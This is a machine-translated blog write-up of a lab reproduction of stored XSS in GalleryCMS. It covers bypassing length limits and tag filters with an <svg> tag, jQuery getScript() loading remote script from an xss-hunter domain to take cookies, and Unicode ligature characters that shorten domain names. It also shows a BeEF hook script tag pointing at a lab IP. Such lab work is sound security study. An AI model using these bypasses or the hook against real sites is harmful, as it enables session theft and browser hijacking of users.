当前位置:网站首页>XSS holes emersion
XSS holes emersion
2022-08-03 21:11:00 【hug kitten】
目录
XSS复现GalleryCMSCharacter length limit short domain name bypass
第一步:First upload a string at will,See where the string was last entered
第二步:Let's test it again to see if it worksJS代码
第四步:beef复现GalleryCMS20character limit short domain name bypass
XSS复现GalleryCMSCharacter length limit short domain name bypass
We build it firstgalleryCMS的服务器.
第一步:First upload a string at will,See where the string was last entered
The data we uploaded can be seen in the database
第二步:Let's test it again to see if it worksJS代码
displayed in the database as,这说明对JS代码有限制,As a result, we can't make the pop-up window
我们查看一下源码,It can be seen that he did length to us45,And filter a lot of tags and other restrictions
But it can be seen from the source code that there is nothing right<svg>标签进行限制,所以我们尝试使用<svg>Whether the label test can be bypassed
绕过成功:
第三步:使用getScript()函数绕过
We found through this page that the web page is using jQuery框架,我们尝试使用getScript()Try bypassing the function.
getScript()函数:使用 AJAX 的 HTTP GET 请求获取和执行 JavaScript.
语法:(selector).getScript(url,success(response,status))
参数 | 描述 |
---|---|
url | 必需.规定将请求发送到哪个 URL. |
success(response,status) | 可选.规定当请求成功时运行的函数. 额外的参数:
|
我们尝试将<svg>标签和getScriptGet it togethercookie值
我们使用了xss-hunterA page allocated to the system,telsm.xss.htThere are many functions for obtaining information,Requires registration and has a custom onexss.htOnly subdomains can be used,But I didn't register the domain name,So I can't see the obtained message,But it also means success.
第四步:beef复现GalleryCMS20character limit short domain name bypass
We changed the maximum character limit length to 20个字符,利用beeftools try to bypass
But the basic commands will be over20个字符
由于字符长度限制,How to achieve bypass?
1、使用Unicode编码进行编码,UnicodeThe encoding has several special characters,如tel在UnicodeOnly one character is counted in
2、域名重定向-->Domestic domain name redirection requires filing,Only foreign domain names can be used
We use the first methodUnicodeThe encoding is bypassed with special characters
- ℠ expands to
sm
- ㏛ expands to
sr
- st expands to
st
- ㎭ expands to
rad
- ℡ expands to
tel
我们先打开beef-xss:
登陆beef的网页端,beef的用户名和密码在/etc/beef-xss/config.yml文件下查看
把hook.jsThe contents of the file are copied to the server/var/www/html/index.html文件下,Because I don't have my own domain name,So I can modify the configuration file by myself,使用ip进行测试<script src="//192.168.112.131:3000/hoot.js">
成功了
参考资料:
边栏推荐
猜你喜欢
XSS线上靶场---prompt
独立站卖家在哪些平台做社交媒体营销效果最好?
ES、Kibana 8.0安装
如何使用 Jmeter获取登录token并设置为全局变量?
NAACL 2022 | 具有元重加权的鲁棒自增强命名实体识别技术
leetcode 231. Powers of 2
win10安装及配置Gradle
Use setTimeout to realize setInterval
Li Mu hands-on learning deep learning V2-BERT fine-tuning and code implementation
From September 1st, my country has granted zero-tariff treatment to 98% of tax items from 16 countries including Togo
随机推荐
反射机制
卷起来!阿里高工携 18 位高级架构师耗时 57 天整合的 1658 页面试总结
《QDebug 2022年7月》
华为设备配置VRRP负载分担
leetcode 2119. Numbers reversed twice
LitJson报错记录
Linux操作Jmeter(附带:关于连接上redis无法进行写入操作的问题),JMeter配置多用户进行压力测试
开源一夏 |如何优化线上服务器
图神经网络怎么入门?一文带你了解图神经网络入门路径-GNN入门
深度学习怎么入门?零基础快速入门深度学习
微信小程序 生成跳转体验版url,可直接跳转到体验版小程序(可通过此方法测试模板消息)
Orcad Capture Cadence 新建原理图多部分smybol和Homogeneous、Heterogeneous类型介绍教程
检测和控制影子IT的五个步骤
独立站卖家在哪些平台做社交媒体营销效果最好?
chart.js多条曲线图插件
abs()、fabs() 和 labs() 的区别
leetcode 1837. K 进制表示下的各位数字总和
在树莓派上搭建属于自己的网页(4)
Use setTimeout to realize setInterval
canvas螺旋动画js特效